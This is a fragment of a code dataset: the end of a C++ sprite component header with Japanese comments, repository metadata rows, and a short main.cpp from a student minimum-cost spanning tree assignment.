virtual void onEnable(bool value) override;
virtual void saveAndLoad(rapidjson::Value& inObj, rapidjson::Document::AllocatorType& alloc, FileMode mode) override;
virtual void drawInspector() override;
//描画
void draw(const Matrix4& proj) const;
//トランスフォーム
Transform2D& transform() const;
//色味 [0, 1]
void setColor(const Vector3& color);
void setColor(float r, float g, float b);
//色を取得する
const Vector3& getColor() const;
//不透明度 [0, 1]
void setAlpha(float alpha);
//不透明度を取得する
float getAlpha() const;
//切り取り範囲(left, top, right, bottom, 0~1)
void setUV(float l, float t, float r, float b);
const Vector4& getUV() const;
//テクスチャサイズの取得
const Vector2& getTextureSize() const;
//状態管理
void setActive(bool value);
bool getActive() const;
bool isDead() const;
//ファイル名からテクスチャを設定する
void setTextureFromFileName(const std::string& fileName);
//テクスチャを設定する
void setTexture(const std::shared_ptr<Texture>& texture);
//テクスチャ
const Texture& texture() const;
//テクスチャIDを取得する
int getTextureID() const;
//シェーダーの取得
const Shader& shader() const;
//ファイル名の取得
const std::string& fileName() const;
//描画優先番号の設定
//重いので注意
void setDrawOrder(int order);
//描画優先番号の取得
int getDrawOrder() const;
//ソート用
static bool compare(const std::shared_ptr<SpriteComponent>& lhs, const std::shared_ptr<SpriteComponent>& rhs);
static void setSpriteManager(SpriteManager* manager);
private:
void addToManager();
protected:
std::unique_ptr<Sprite> mSprite;
int mDrawOrder;
static inline SpriteManager* mSpriteManager = nullptr;
};
| [
"llmn.0419@gmail.com"
] | llmn.0419@gmail.com |
9b2731d7f3c28d86847f7a2b932fc047e615c447 | 4132893b772a60afa0599a219c6ccb2ae88990b9 | /예전꺼 과제/[AL]201102419_김지수_05/알고리즘5/알고리즘5/main.cpp | fded66ef394c78b2b36ab5946c57e9295621b63b | [] | no_license | dudfoKim/Algorithm | c790216c5d2f440c75490076f2ab2f0125110e83 | 0390681d350cb55b86786d529786f220e584bdb7 | refs/heads/master | 2016-09-13T03:42:31.761119 | 2016-05-03T11:49:25 | 2016-05-03T11:49:25 | 57,965,038 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 223 | cpp | #include "MCST.h"
#include "MCST_MSG.h"
int main()
{
MCST * mcst;
mcst=new MCST();
mcst->showMSG_Starting();
mcst->inputGraph();
mcst->findMCST();
mcst->showResult();
printf("\n%s\n", MAIN_MSG_END);
return 0;
}
| [
"Kimyl609@hanmail.net"
] | Kimyl609@hanmail.net |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.